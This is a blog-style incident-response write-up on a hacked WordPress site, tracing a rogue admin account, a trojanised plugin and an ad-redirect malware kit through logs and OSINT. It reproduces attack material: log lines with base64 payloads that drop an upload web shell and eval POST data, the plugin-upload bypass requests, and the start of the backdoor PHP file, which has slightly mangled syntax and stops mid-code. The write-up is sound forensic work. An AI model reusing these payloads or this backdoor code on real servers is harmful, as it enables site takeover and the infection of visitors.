Reversing WordPress malware

Reversing WordPress malware

I did some incident response, OSINT, PHP and Javascript deobfuscating and reversing on a malware that was dropped at a friend's WordPress server.

A Saturday like any other…?

Around 14:00 on the 13th of May 2023, some friend messaged me saying he lost access to his website, and had trouble loading the main page in his browser. I tried it out, it worked for me, I thought it was just a problem about page loading speed being slow because of a video on front page. I didn’t really think much of it, at first, sent him a password reset request, and kept on going with my day. Later on, we had a more detailed phone call, which raised a couple red flags and my eyebrows. I checked the website with my phone to test out the browser problem, and noticed it had opened 2 very suspicious external urls on visiting.

suspicious links

I tested those on threat Intel platforms and found confirmation of malicious behavior. I decided to clear out my doubts and investigate. On connecting, I realized there was a new suspicious user called “wpdemouser-41” and decided to talk it out with my buddy.

That’s when we realized there was an unknown account with administrator role!!

I don’t use WordPress a lot, appart from when it is used to serve intentionally vulnerable websites for educational purposes and hacking it, so this event was a nice occasion to crash course in WordPress administration, paid hosting WordPress solutions, and hardening.

First thing we did, when we noticed the attack, was to delete the user in question. Which didn’t really do much for us, as the attacker got pissed and decided to change both our passwords, trying to lock us out. I had already a fair suspicion of what was the vulnerable software being exploited here, but I didn’t expect to find what I did next.

I asked how to see the files, where to find logs, where were the backups, and eventually got my investigation going, with the relevant credentials and accesses. On the 13th, around 7h after first notice, I found and deleted 2 very suspiciously encoded files, which were obviously dropped by the attacker. This broke the way the trojan was working and left relics of code a little everywhere on main page. In order to clean up the mess, I had to figure out a few important things such as what was the malware doing. Here are the steps I went through:

  1. Break the initial access by deleting the new user
  2. Update plugins and themes, to prevent re-infection
  3. Find that the issue has been solved because attacker is trying to query the version 3.7.3 of elementor pro
  4. Remove some heavily obfuscated php malware files
  5. Realize the main page still holds unwanted pieces of code
  6. Reverse the malware and see urls being called and files being created
  7. Find all the code he dropped or modified on the hosting server and reverse it as well
  8. Find the purpose of the malware and the end goal
  9. Find the possible name of the tool and where it is sold on Facebook
  10. PHP malware lessons

    Infection point - Beginning of the incident

WordPress being a code-less website development solution aimed at the normal user, it comes with a wide variety of solutions called plugins, and themes as well, which can be downloaded or manually added if downloaded from another source. There is an update dashboard, from which you can see a list of your plugins that need to be updated, and can do it in bulk. But this nice little feature only works if your plugin’s devs actually tell wordpress that there is an update pending.

Elementor Pro is the paid version of the popular website construction plugin called Elementor. Like many other payed plugins on the WP ecosystem, if you decide you don’t want to pay for the pro version anymore, and your needs are sufficiently covered by the free version, you absolutely have to delete the plugin, as it will stay at the version of the trial and not offer any updates. This essentially means that when I deleted the Elementor Pro plugin, after making sure no other password was possibly compromised, I had effectively kicked the attacker off the system and prevented him to access again.

WP cerber’s dashboard shows the moment I caught the attacker trying to verify his previous foothold with a blocked ipv6 address

Home grown, opportunistic forensics

With the hacker out of the picture, I decided to start a thorough investigation of what he could've done on the server. Firstly because I needed to make sure there was no persistence mechanism or backdoors, and also because the main page was obviously containing code that was not meant to be there, as we will see below. On visiting the page, the user’s browser would open 2 more pages which would result in calling a malicious ads “content delivery network” or cdn, enticing the user to click and potentially download more infectious malware. I saw two ads served, a “You are the winner, click here!” and some porn service advertisements. This was enough for me, as I knew it was browser hijacker or a “malicious redirect” malware as stated in this article from 2022 which describes a very similar situation. Our particular strain was specifically targeted at unauthenticated users, triggering a redirect to the ads.

I had to be sure I had removed everything, so I started looking through my options:

First there was a few interesting plugin the owner previously gathered to help with security matters. Really simple SSL, which has some nice hardening features, and a nice vulnerability scanner which is in beta at the time of writing; and WP Cerber, which was a helpful security solution that brought me some nice help, hardening features, and file scanner, until I realized the plugin was discontinued in September of 2022 and seems to hold a high risk vulnerability according to here. While writing this very line, I noticed it was possible to update WP cerber manually, even if it has been taken off wordpress.org, and proceeded to change from 9.0 to 9.5.4 (😱). Doing so brought the overall security score of the website to A+, according to really simple SSL, and confirms there is no known vulnerable code in the website files.

No known vulnerability identified in the website’s code

With WP Cerber, I managed to find some interesting commands sent to the server, thanks to the activity dashboard, which actually revealed that some base64 strings were sent in the url, prior to the date of the infection. I already knew the malware was doing stuff with base64 encoding. Decoding a few of those revealed it was sending php code to insert a form into the main page and thus allowing file upload, but it was shown has having been blocked by Cerber. I didn’t think of taking a picture of this immediately and WP Cerber's traffic log was unfortunately lost with the restore, but I found it back later in the logs 🚀 :

example.com 178.159.37.41 - - [11/May/2023:05:03:31 +0200] "GET //wp-admin/css/colors/blue/blue.php?wall=CiAgJGZjID0gJ1lVUnlhWFkwTFZCeWFYWTRJRlJQVDB3OFAzQm9jQ0JsWTJodklDYzhjSEpsUGljdWNHaHdYM1Z1WVcxbEtDa3VJbHh1SWk0blBHSnlMejQ4Wm05eWJTQnRaWFJvYjJROUluQnZjM1FpSUdWdVkzUjVjR1U5SW0xMWJIUnBjR0Z5ZEM5bWIzSnRMV1JoZEdFaVBqeHBibkIxZENCMGVYQmxQU0ptYVd4bElpQnVZVzFsUFNKZlh5SStQR2x1Y0hWMElHNWhiV1U5SWw4aUlIUjVjR1U5SW5OMVltMXBkQ0lnZG1Gc2RXVTlJbFZ3Ykc5aFpDSStQQzltYjNKdFBpYzdhV1lvSkY5UVQxTlVLWHRwWmloQVkyOXdlU2drWDBaSlRFVlRXeWRmWHlkZFd5ZDBiWEJmYm1GdFpTZGRMQ0FrWDBaSlRFVlRXeWRmWHlkZFd5ZHVZVzFsSjEwcEtYdGxZMmh2SUNkUFN5YzdmV1ZzYzJWN1pXTm9ieUFuUlZJbk8zMTlQejQ9JzsKICAkZm4gPSAnVnpsYVRlYW0ucGhwJzsKICBpZiggZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpICkgewogICAgZmlsZV9wdXRfY29udGVudHMoJGZuLCBiYXNlNjRfZGVjb2RlKCRmYykpOwogIH1lbHNlewogICAgQHRvdWNoKCRmbik7CiAgICBpZighJGZvID0gZm9wZW4oJGZuLCAnYScpKSB7CiAgICAgIGVjaG8gJ2Vycm9yJzsKICAgICAgZXhpdDsKICAgIH07CiAgICBmd3JpdGUoJGZvLCBiYXNlNjRfZGVjb2RlKCRmYykpOwogICAgZmNsb3NlKCRmbyk7CiAgfQogIGlmKCBmaWxlX2V4aXN0cygkZm4pICkgewogICAgZWNobyAnYURyaXY0JzsKICAgIGV4aXQ7CiAgfQ== HTTP/1.1" 403 742 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36"
example.com 194.87.151.73 - - [11/May/2023:17:02:01 +0200] "GET /wp-admin/css/colors/blue/uploader.php HTTP/1.1" 403 743 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36"
example.com 194.87.151.73 - - [11/May/2023:17:02:02 +0200] "GET /wp-admin/css/colors/blue/nin.php HTTP/1.1" 403 742 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36"
example.com 178.159.37.41 - - [12/May/2023:04:12:06 +0200] "GET //wp-admin/css/colors/blue/blue.php?wall=CiAgJGZjID0gJ1lVUnlhWFkwTFZCeWFYWTRJRlJQVDB3OFAzQm9jQ0JsWTJodklDYzhjSEpsUGljdWNHaHdYM1Z1WVcxbEtDa3VJbHh1SWk0blBHSnlMejQ4Wm05eWJTQnRaWFJvYjJROUluQnZjM1FpSUdWdVkzUjVjR1U5SW0xMWJIUnBjR0Z5ZEM5bWIzSnRMV1JoZEdFaVBqeHBibkIxZENCMGVYQmxQU0ptYVd4bElpQnVZVzFsUFNKZlh5SStQR2x1Y0hWMElHNWhiV1U5SWw4aUlIUjVjR1U5SW5OMVltMXBkQ0lnZG1Gc2RXVTlJbFZ3Ykc5aFpDSStQQzltYjNKdFBpYzdhV1lvSkY5UVQxTlVLWHRwWmloQVkyOXdlU2drWDBaSlRFVlRXeWRmWHlkZFd5ZDBiWEJmYm1GdFpTZGRMQ0FrWDBaSlRFVlRXeWRmWHlkZFd5ZHVZVzFsSjEwcEtYdGxZMmh2SUNkUFN5YzdmV1ZzYzJWN1pXTm9ieUFuUlZJbk8zMTlQejQ9JzsKICAkZm4gPSAnVnpsYVRlYW0ucGhwJzsKICBpZiggZnVuY3Rpb25fZXhpc3RzKCdmaWxlX3B1dF9jb250ZW50cycpICkgewogICAgZmlsZV9wdXRfY29udGVudHMoJGZuLCBiYXNlNjRfZGVjb2RlKCRmYykpOwogIH1lbHNlewogICAgQHRvdWNoKCRmbik7CiAgICBpZighJGZvID0gZm9wZW4oJGZuLCAnYScpKSB7CiAgICAgIGVjaG8gJ2Vycm9yJzsKICAgICAgZXhpdDsKICAgIH07CiAgICBmd3JpdGUoJGZvLCBiYXNlNjRfZGVjb2RlKCRmYykpOwogICAgZmNsb3NlKCRmbyk7CiAgfQogIGlmKCBmaWxlX2V4aXN0cygkZm4pICkgewogICAgZWNobyAnYURyaXY0JzsKICAgIGV4aXQ7CiAgfQ== HTTP/1.1" 403 742 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36"
example.com 43.156.204.132 - - [14/May/2023:10:30:42 +0200] "POST //wp-admin/css/colors/blue/blue.php?wall=ZWNobyBhRHJpdjQ7ZXZhbCgkX1BPU1RbJ3Z6J10pOw== HTTP/1.1" 403 743 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36"
example.com 170.106.119.29 - - [16/May/2023:10:10:18 +0200] "POST //wp-admin/css/colors/blue/blue.php?wall=ZWNobyBhRHJpdjQ7ZXZhbCgkX1BPU1RbJ3Z6J10pOw== HTTP/1.1" 403 742 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36"

Base64 decode failed commands

A piece of OSINT cake

No investigation can be complete without checking for open source intelligence. That’s where I found the actual name of the malware, some old version of it on Github, and most interestingly some Facebook and Telegram groups selling black-market, hacking services and tools to get web shells from vulnerable WordPress servers.

aDriv4-Priv8 TOOL

Tool referenced on google part 1Tool referenced on google part 2Tool referenced on google part 3

This basically allows me to presume that our attacker was someone who bought a hacking tool and pressed play, which would explain why I didn’t find any sophisticated mechanism, or backdoor after the infection. I was wondering why the actions were not more destructive or trying to get full ownership of the site, but after consideration, I realized this is coherent with the behavior and purpose of the malware which was redirecting users to malicious ads. The goal here was to use our site as a gate to add some vague credibility to the ads and lure unsuspecting users.

More forensics

WP file manager is another app that gave me another decisive hand in finding the files dropped by the attacker. with the help of the search function, I managed to quickly scout through the web folder files and find out modification dates effectively. Searching for a bunch of common infected files, I noticed it would actually take the dot character as an equivalent of any character because its part of a regex. With this I managed to list every file by listing them by modified time.

search for .phpsearch for dot .

But the real upper-hand was in the logs from the hosting provider Infomaniak (← this one contains my reseller link), which got me covered with an automatic 7 days backup of access logs, or more on request. There are a lot of IP addresses showing in the logs, doing heavy scanning and probing from multiple bots and seo tools or api such as google bot and ahrefs robot which are both widely used web page crawlers for many legitimate uses, but who could help a potential attacker to send probing requests and view the content of the reply while effectively hiding their IP. I pinpointed the following IP address as being the one that uploaded and installed a malicious plugin by searching for the time the files I had found had been created.

IP that gained access

┌──(starlord㉿HAL-9090)-[~/Bureau/malware]
└─$ cat example.com-2023-05-12-access.log | grep '193.169.194.63'
example.com 193.169.194.63 - - [12/May/2023:22:04:19] "GET / HTTP/1.1" 301 20 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:20] "GET / HTTP/1.1" 200 35167 "http://example.com" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:25] "POST /wp-admin/admin-post.php HTTP/1.1" 200 20 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:23] "GET / HTTP/1.1" 200 35167 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:27] "GET /wp-json HTTP/1.1" 200 12807 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:28] "GET /?343=1 HTTP/1.1" 200 35183 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:31] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 67 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:32] "GET /?author=1 HTTP/1.1" 500 1055 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:33] "GET /wp-json/buddypress/v1/members HTTP/1.1" 404 117 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:34] "GET /index.php/wp-json/wp/v2/users HTTP/1.1" 403 743 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:35] "GET /wp-json/wp/v2/users HTTP/1.1" 403 743 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:36] "GET /index.php/wp-json/wp/v2/posts HTTP/1.1" 200 32167 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:38] "GET /index.php?p=32020 HTTP/1.1" 301 20 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:39] "GET /example-services/ HTTP/1.1" 200 18847 "https://example.com/index.php?p=32020" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:40] "GET /index.php/wp-json/wp/v2/posts HTTP/1.1" 200 32167 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:42] "GET /index.php?p=32020 HTTP/1.1" 301 20 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:43] "GET /example-services/ HTTP/1.1" 200 18848 "https://example.com/index.php?p=32020" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:45] "GET /index.php/wp-json/wp/v2/posts HTTP/1.1" 200 32167 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:47] "GET /index.php?p=32020 HTTP/1.1" 301 20 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:48] "GET /example-services/ HTTP/1.1" 200 18848 "https://example.com/index.php?p=32020" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:49] "GET /index.php/wp-json/wp/v2/users HTTP/1.1" 403 741 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:50] "GET / HTTP/1.1" 200 35168 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:53] "GET /wp-json/wp/v2/posts HTTP/1.1" 200 32167 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:55] "GET /wp-json/wp/v2/users HTTP/1.1" 403 743 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:56] "GET /wp-json/wp/v2/pages HTTP/1.1" 200 6898 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:57] "GET /contact-us HTTP/1.1" 404 15048 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:04:59] "GET /contact-me HTTP/1.1" 404 15047 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:05:01] "GET /contacts HTTP/1.1" 404 15043 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:05:02] "GET /privacy-policy/ HTTP/1.1" 404 15051 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:05:04] "GET /about-us HTTP/1.1" 301 20 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:05:04] "GET /about-us/ HTTP/1.1" 200 17976 "https://example.com/about-us" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:05:06] "GET /terms-of-service HTTP/1.1" 404 15054 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:05:08] "GET /?343=1 HTTP/1.1" 200 35182 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:05:10] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 67 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:05:11] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 84 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:05:12] "POST /wp-login.php HTTP/1.1" 200 2748 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
example.com 193.169.194.63 - - [12/May/2023:22:05:13] "GET /wp-admin/edit.php?post_type=page HTTP/1.1" 403 993 "https://example.com/wp-admin/edit.php?post_type=page" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
example.com 193.169.194.63 - - [12/May/2023:22:05:13] "POST /wp-admin/options-general.php?wc-ajax=1 HTTP/1.1" 200 44855 "https://example.com/wp-admin/options-general.php?wc-ajax=1" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
example.com 193.169.194.63 - - [12/May/2023:22:05:18] "GET /wp-admin/plugin-install.php?wc-ajax=1 HTTP/1.1" 403 993 "https://example.com/wp-admin/plugin-install.php?wc-ajax=1" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
example.com 193.169.194.63 - - [12/May/2023:22:05:18] "GET /wp-content/uploads/2023/05/wp-stats.php HTTP/1.1" 403 743 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:05:18] "POST /wp-admin/plugin-install.php?wc-ajax=1 HTTP/1.1" 200 43108 "https://example.com/wp-admin/plugin-install.php?wc-ajax=1" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
example.com 193.169.194.63 - - [12/May/2023:22:05:22] "POST /wp-admin/update.php?action=upload-plugin&wc-ajax=1 HTTP/1.1" 200 33512 "-" "Go-http-client/1.1"
example.com 193.169.194.63 - - [12/May/2023:22:05:28] "POST /wp-admin/plugin-install.php?wc-ajax=1 HTTP/1.1" 200 43125 "https://example.com/wp-admin/plugin-install.php?wc-ajax=1" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
example.com 193.169.194.63 - - [12/May/2023:22:05:31] "POST /wp-admin/update.php?action=upload-plugin&wc-ajax=1 HTTP/1.1" 200 33468 "-" "Go-http-client/1.1"
example.com 193.169.194.63 - - [12/May/2023:22:05:35] "GET /wp-content/upgrade/updateme/updateme/update.php HTTP/1.1" 200 187 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:05:36] "GET /wp-content/upgrade/updateme/updateme/ HTTP/1.1" 200 190 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:05:37] "POST /wp-admin/plugins.php?wc-ajax=1 HTTP/1.1" 200 82013 "https://example.com/wp-admin/plugins.php?wc-ajax=1" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
example.com 193.169.194.63 - - [12/May/2023:22:05:39] "POST /wp-admin/plugins.php?wc-ajax=1&action=activate&plugin=posts-layouts%2Fposts-layouts.php&plugin_status=all&_wpnonce=1c9e41 HTTP/1.1" 403 1056 "https://example.com/wp-admin/plugins.php?wc-ajax=1&action=activate&plugin=posts-layouts%2Fposts-layouts.php&plugin_status=all&_wpnonce=1c8f9e41" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
example.com 193.169.194.63 - - [12/May/2023:22:05:41] "POST /wp-admin/plugins.php?wc-ajax=1&action=activate&plugin=posts-layouts%2Fposts-layouts.php&plugin_status=all&_wpnonce=c965b9 HTTP/1.1" 302 20 "https://example.com/wp-admin/plugins.php?wc-ajax=1&action=activate&plugin=posts-layouts%2Fposts-layouts.php&plugin_status=all&_wpnonce=c91065b9" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
example.com 193.169.194.63 - - [12/May/2023:22:05:42] "GET /wp-admin/plugins.php?activate=true&plugin_status=all&paged=1&s= HTTP/1.1" 403 993 "https://example.com/wp-admin/plugins.php?wc-ajax=1&action=activate&plugin=posts-layouts%2Fposts-layouts.php&plugin_status=all&_wpnonce=c91065b9" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
example.com 193.169.194.63 - - [12/May/2023:22:05:43] "GET /?343=1 HTTP/1.1" 200 226 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
example.com 193.169.194.63 - - [12/May/2023:22:05:44] "POST /wp-admin/theme-editor.php?wc-ajax=1&file=header.php HTTP/1.1" 200 38901 "https://example.com/wp-admin/theme-editor.php?wc-ajax=1&file=header.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
example.com 193.169.194.63 - - [12/May/2023:22:05:46] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 77 "https://example.com/wp-admin/admin-ajax.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
example.com 193.169.194.63 - - [12/May/2023:22:05:50] "POST /wp-admin/theme-editor.php?file=header.php&wc-ajax=1 HTTP/1.1" 200 38941 "https://example.com/wp-admin/theme-editor.php?file=header.php&wc-ajax=1" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
example.com 193.169.194.63 - - [12/May/2023:22:05:51] "POST /wp-admin/theme-editor.php?wc-ajax=1&file=footer.php HTTP/1.1" 200 38507 "https://example.com/wp-admin/theme-editor.php?wc-ajax=1&file=footer.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
example.com 193.169.194.63 - - [12/May/2023:22:05:53] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 77 "https://example.com/wp-admin/admin-ajax.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
example.com 193.169.194.63 - - [12/May/2023:22:05:58] "POST /wp-admin/theme-editor.php?file=footer.php&wc-ajax=1 HTTP/1.1" 200 38550 "https://example.com/wp-admin/theme-editor.php?file=footer.php&wc-ajax=1" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"
example.com 193.169.194.63 - - [12/May/2023:22:05:59] "GET /?343=1 HTTP/1.1" 200 52 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"

The really bad requests seem to have started on 12/May/2023 at 22:05:08, with a request holding an ominous looking parameter being exactly like the one in the malware (/?343=1), as we will notice in the files. Then at 22:05:39 the attacker managed to upload a maliciously repurposed version of a legitimate plugin called posts-layouts, https://github.com/techeshta/post-layouts.

This article shows how an attacker can simply append this to the requested url to access:

wc-ajax=1

article

Interesting technique here, as it is not just a malware but contains some of the original plugin code as well, which can be retrieved here, only if you're curious to see the differences, which were pretty easy to spot as you will see later on. I never managed to retrieve the content of the folder /wp-content/upgrade/updateme/updateme/, to which a file called update.php was uploaded or created, which allowed the attacker to install the malicious posts-layouts plugin.

Remediation was pretty easy, as I just needed to revert to one of the backups before the 12, preferably before the 11 to be sure and quickly proceed with the plugins and themes updates again. It was all a breeze thanks to a clever hosting company. The only thing left was making sure of what our files were doing.

Analyzing the malware - because that’s what I do

Part 1 - Suspicious files

I started by finding 2 recently modified files in the web folder called wp-special-need-mtg.php and wp-sale.js:

Crazy code to make my life difficult

File: web/wp-sale.js

/*:demowpsale:fd69ce69dc553ddc791055e8d5161205:demowpsale:wp-special-need-mtg.php:demowpsale:*/

This line should not do anything it is marked as a comment.

File: web/wp-special-need-mtg.php

<?php error_reporting(0);
$urokp = array_merge($_GET, $_COOKIE, $_POST);
in_array = 'in_array';
if ($urokp['m'] == '1') die('e387966a283e2a6dca4b8a9568c0028c');
if (md5($urokp['a6368']) ==  = 'e387966a283e2a6dca4b8a9568c0028c') doaxw($urokp);
function doaxw($giwsq) {
    $fdmre = 'file_exists';
    $lcbvu = 'fopen';
    $byrjt = 'fclose';
    $ucrcm = 'unlink';
    if (file_exists('./wp-sale.js'))  {
